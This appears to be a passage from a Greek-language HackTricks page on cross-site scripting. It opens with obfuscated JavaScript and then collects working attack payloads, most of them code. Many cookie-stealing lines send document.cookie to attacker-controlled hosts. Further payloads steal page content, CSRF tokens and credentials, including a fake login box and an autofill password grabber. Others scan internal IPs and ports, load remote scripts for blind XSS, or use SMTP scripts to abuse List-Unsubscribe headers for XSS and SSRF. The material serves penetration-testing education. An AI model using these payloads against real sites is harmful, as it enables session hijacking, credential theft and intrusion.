((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS συνήθη payloads
Πολλά payloads σε 1
Iframe Trap
Κάνε τον χρήστη να περιηγηθεί στη σελίδα χωρίς να βγει από ένα iframe και να κλέψεις τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
Ανάκτηση Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από JavaScript αν το HTTPOnly flag έχει οριστεί στο cookie. Αλλά εδώ έχετε μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία αν είστε αρκετά τυχεροί.
Κλέψτε το περιεχόμενο της σελίδας
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Εύρεση εσωτερικών IPs
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Σύντομοι χρόνοι υποδεικνύουν θύρα που ανταποκρίνεται Μεγαλύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει απάντηση.
Ελέγξτε τη λίστα με τις θύρες που απαγορεύονται στο Chrome here και στο Firefox here.
Πλαίσιο για να ζητηθούν διαπιστευτήρια
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Καταγραφή κωδικών αυτόματης συμπλήρωσης
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Όταν οποιαδήποτε δεδομένα εισάγονται στο password field, το username και το password αποστέλλονται στον attackers server, ακόμη και αν ο client επιλέξει ένα saved password και δεν γράψει τίποτα τα credentials θα be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Αν ένας κρίσιμος handler (π.χ. function DoLogin(){...}) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ. μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα const με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Οι μεταγενέστερες δηλώσεις function δεν μπορούν να rebind ένα όνομα const, αφήνοντας το hook σας υπό έλεγχο:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Σημειώσεις
- Αυτό βασίζεται στη σειρά εκτέλεσης: η injection σας πρέπει να εκτελεστεί πριν από τη νόμιμη δήλωση.
- Αν το payload σας είναι τυλιγμένο σε
eval(...), οι δεσμεύσειςconst/letδεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική<script>injection τεχνική από την ενότητα “Deliverable payloads with eval(atob()) and scope nuances” για να εξασφαλίσετε μια πραγματική global, μη επαναδεσμεύσιμη δεσμεύση. - Όταν φίλτρα λέξεων-κλειδιών μπλοκάρουν κώδικα, συνδυάστε με αναγνωριστικά Unicode-escaped ή παράδοση
eval(atob('...')), όπως φαίνεται παραπάνω.
Keylogger
Απλώς ψάχνοντας στο github βρήκα μερικά διαφορετικά:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Κλοπή μηνυμάτων PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Αν μια σελίδα αποθηκεύει event.origin από ένα postMessage και αργότερα το συνενώνει σε ένα script URL, ο αποστολέας ελέγχει το origin του φορτωμένου JS:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: ενεργοποιείται μόνο όταν
window.openerυπάρχει καιpixel_idείναι allowlisted; origin is never checked. - Use CSP-allowed origin: pivot σε ένα domain που ήδη επιτρέπεται από το victim CSP (π.χ., logged-out help pages allowing analytics like
*.THIRD-PARTY.com) και φιλοξένησε/sdk/<pixel_id>/iwl.jsεκεί μέσω takeover/XSS/upload. - Restore
opener: σε Android WebView,window.name='x'; window.open(target,'x')κάνει τη σελίδα να γίνει ο ίδιος ο opener· στείλε το κακόβουλοpostMessageαπό ένα hijacked iframe. - Trigger: το iframe στέλνει
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; ο parent τότε φορτώνει τον επιτιθέμενοiwl.jsαπό το CSP-allowed origin και τον εκτελεί.
Αυτό μετατρέπει τον origin-less postMessage validation σε ένα remote script loader primitive που παρακάμπτει το CSP αν καταφέρετε να προσγειωθείτε σε οποιοδήποτε origin που ήδη επιτρέπεται από την πολιτική.
Supply-chain stored XSS via backend JS concatenation
Όταν ένα backend builds a shared SDK by concatenating JS strings with user-controlled values, οποιοσδήποτε quote/structure breaker μπορεί να injectήσει script που σερβίρεται σε κάθε consumer:
- Example pattern (Meta CAPIG): server appends
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directly intocapig-events.js. - Injecting
'or"]}closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από this writeup μπορεί να μάθει κανείς ότι ακόμα κι αν κάποιες τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατό να τις βρει κανείς σε JS attributes σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να μπορεί να βρεθεί μετά την αφαίρεση της τιμής του input του regex:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Λίστα
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Κατάχρηση άλλων ευπαθειών
XSS στο Markdown
Μπορεί να εισάγει κώδικα Markdown που θα αποδοθεί; Ίσως να καταφέρεις XSS! Δες:
XSS σε SSRF
Έχεις XSS σε site που χρησιμοποιεί caching; Δοκίμασε να αναβαθμίσεις αυτό σε SSRF μέσω Edge Side Include Injection με αυτό το payload:
<esi:include src="http://yoursite.com/capture" />
Χρησιμοποίησέ το για να παρακάμψεις περιορισμούς cookie, φίλτρα XSS και πολλά ακόμα!
More information about this technique here: XSLT.
XSS σε δυναμικά δημιουργημένο PDF
If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
If you cannot inject HTML tags it could be worth it to try to inject PDF data:
XSS in Amp4Email
AMP, aimed at accelerating web page performance on mobile devices, incorporates HTML tags supplemented by JavaScript to ensure functionality with an emphasis on speed and security. It supports a range of components for various features, accessible via AMP components.
The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
Example writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).
Stored XSS via javascript: URIs
- Στείλε στον εαυτό σου ένα email όπου το header δείχνει σε ένα
javascript:URI, διατηρώντας το υπόλοιπο μήνυμα ακίνδυνο ώστε τα spam filters να μην το απορρίψουν. - Εξασφάλισε ότι το UI αποδίδει την τιμή (πολλοί clients το εμφανίζουν σε ένα “List Info” pane) και έλεγξε αν το προκύπτον
<a>tag κληρονομεί χαρακτηριστικά που ελέγχονται από τον επιτιθέμενο όπωςhrefήtarget. - Προκάλεσε εκτέλεση (π.χ. CTRL+click, middle-click, ή “open in new tab”) όταν ο σύνδεσμος χρησιμοποιεί
target="_blank"· τα browsers θα αξιολογήσουν το παρεχόμενο JavaScript με το origin της webmail εφαρμογής. - Παρατήρησε το primitive του stored-XSS: το payload παραμένει μαζί με το email και χρειάζεται μόνο ένα κλικ για να εκτελεστεί.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Το newline byte (%0a) στην URI δείχνει ότι ακόμη και ασυνήθιστοι χαρακτήρες επιβιώνουν στη διαδικασία απόδοσης σε ευάλωτους clients όπως το Horde IMP H5, το οποίο θα εμφανίσει τη συμβολοσειρά αυτούσια μέσα στο anchor tag.
Ελάχιστο SMTP PoC που παραδίδει μια κακόβουλη κεφαλίδα List-Unsubscribe
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Server-side unsubscribe proxies -> SSRF
Ορισμένοι clients, όπως το Nextcloud Mail app, προωθούν την ενέργεια αποεγγραφής server-side: το πάτημα του κουμπιού δίνει εντολή στον server να ανακτήσει ο ίδιος το παρεχόμενο URL. Αυτό μετατρέπει την κεφαλίδα σε SSRF primitive, ειδικά όταν οι διαχειριστές θέτουν `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), που επιτρέπει αιτήματα προς loopback και τις περιοχές RFC1918.
1. **Κατασκευάστε ένα email** όπου `List-Unsubscribe` στοχεύει σε attacker-controlled endpoint (για blind SSRF χρησιμοποιήστε Burp Collaborator / OAST).
2. **Διατηρήστε `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** ώστε το UI να εμφανίζει κουμπί αποεγγραφής με ένα κλικ.
3. **Ικανοποιήστε τις απαιτήσεις εμπιστοσύνης**: Το Nextcloud, για παράδειγμα, εκτελεί HTTPS unsubscribe αιτήματα μόνο όταν το μήνυμα περνάει DKIM, οπότε ο attacker πρέπει να υπογράψει το email χρησιμοποιώντας domain που ελέγχει.
4. **Παραδώστε το μήνυμα σε mailbox που επεξεργάζεται ο target server** και περιμένετε μέχρι ένας χρήστης να πατήσει το κουμπί unsubscribe.
5. **Παρατηρήστε το server-side callback** στο collaborator endpoint, και μετά pivot σε εσωτερικές διευθύνσεις μόλις επιβεβαιωθεί το primitive.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe μήνυμα για δοκιμή SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Σημειώσεις δοκιμών**
- Χρησιμοποιήστε ένα OAST endpoint για να συλλέξετε blind SSRF hits, και στη συνέχεια προσαρμόστε το `List-Unsubscribe` URL ώστε να στοχεύει το `http://127.0.0.1:PORT`, metadata services ή άλλους internal hosts μόλις το primitive επιβεβαιωθεί.
- Επειδή ο unsubscribe helper συχνά επαναχρησιμοποιεί το ίδιο HTTP stack με την εφαρμογή, κληρονομείτε τις proxy settings, τα HTTP verbs και τις header rewrites, επιτρέποντας περαιτέρω traversal tricks που περιγράφονται στη [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS uploading files (svg)
Ανεβάστε ως εικόνα ένα αρχείο όπως το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Βρείτε περισσότερα SVG payloads στο https://github.com/allanlw/svg-cheatsheet
Διάφορα JS κόλπα & Σχετικές Πληροφορίες
Misc JS Tricks & Relevant Info
Πόροι XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Αναφορές
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


